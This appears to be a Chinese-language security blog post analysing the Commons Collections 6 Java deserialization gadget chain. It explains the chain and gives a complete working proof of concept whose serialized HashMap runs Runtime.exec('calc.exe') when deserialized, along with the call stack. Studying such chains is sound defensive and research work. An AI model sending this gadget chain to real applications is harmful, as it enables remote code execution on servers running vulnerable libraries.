【java安全】CommonsCollections6

本文最后更新于:2023年9月1日 上午

[TOC]

【java安全】CommonsCollections6

测试环境

3.1-3.2.1,jdk1.7,1.8

前言

之前我们分析了CommonsCollections1 LazyMap利用链,但是在java 8u71以后这个链就不能继续用了,原因是sun.reflect.annotation.AnnotationInvocationHandler类的readObject()等方法的逻辑改变了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// jdk1.8
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;

try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Map.Entry var9 = (Map.Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

我们需要找一个绕过高版本的利用链CommonsCollections6

分析

LazyMapget()方法我们不能继续使用CommonsCollections1中通过使用动态代理的方式调用AnnotationInvocationHandlerinvoke()方法,从而触发LazyMap#get()方法了

我们需要了解到一个新的类:

TiedMapEntry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;

public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getValue() {
return this.map.get(this.key);
}

...

public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}


这里重点关注TiedMapEntry类的hashCode()方法,他会调用自身的getValue()方法,而this.map变量可以传入LazyMap类型,于是就触发了get()方法

但是应该从哪里调用TiedMapEntry#hashCode()方法呢?

我们可以使用HashMap

HashMap#readObject()方法会对key使用hash()方法,然后hash方法会对key使用hashCode()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
...
putVal(hash(key), key, value, false, false);
}
}
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

于是我们可以构造一个HashMap

然后使用put方法将TiedMapEntry添加进去:

1
2
3
4
5
6
7
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");

注意点一

需要注意,我们在使用HashMap#put()方法的时候,会触发hash()方法,从而在没有反序列化时就触发了RCE,这显然不合理,于是我们可以先在LazyMap中添加一个假的ChainedTransformer类对象,这样put()就触发不了RCE了:

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] fakeTransformers = new Transformer[]{};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);// fake
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");

添加完成之后我们通过反射将chainedTransformer的变量iTransformer改为真的:

1
2
3
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);

总结一下:

我们想要触发LazyMap#get()方法,可以通过TiedMapEntry#hashCode()方法,然后TiedMapEntry#hashCode()方法可以被HashMap#readObject()中的hash()调用,完成RCE

我们接下来模拟反序列化,完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {
// sun.reflect.annotation.AnnotationInvocationHandler
Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

Map hashMap = new HashMap();

/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);


ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();

ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
}
}

看似以及完美了,但是我们执行一下发现没有弹出计算器

注意点二

上述代码的问题在这:

1
hashMap.put(tiedMapEntry, "value");

虽然tiedMapEntry中的LazyMap的值chainedTransformer已经换为空的,但是还是会执行hash()方法

image-20230716225911438

这导致方框中的条件为false,不进入if中,导致不会执行chainedTransformer#transform()方法

解决方法:

我们在put()后使用Map#clear()方法,将LazyMap中的值清空

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {
// sun.reflect.annotation.AnnotationInvocationHandler
Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

Map hashMap = new HashMap();

/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");
//清空由于 hashMap.put 对 LazyMap 造成的影响
outerMap.clear();
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);


ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();

ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
->HashMap.readObject()
->HashMap.hash()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………

【java安全】CommonsCollections6
https://leekosss.github.io/2023/08/24/[java安全]CommonsCollections6/
作者
leekos
发布于
2023年8月24日
更新于
2023年9月1日
许可协议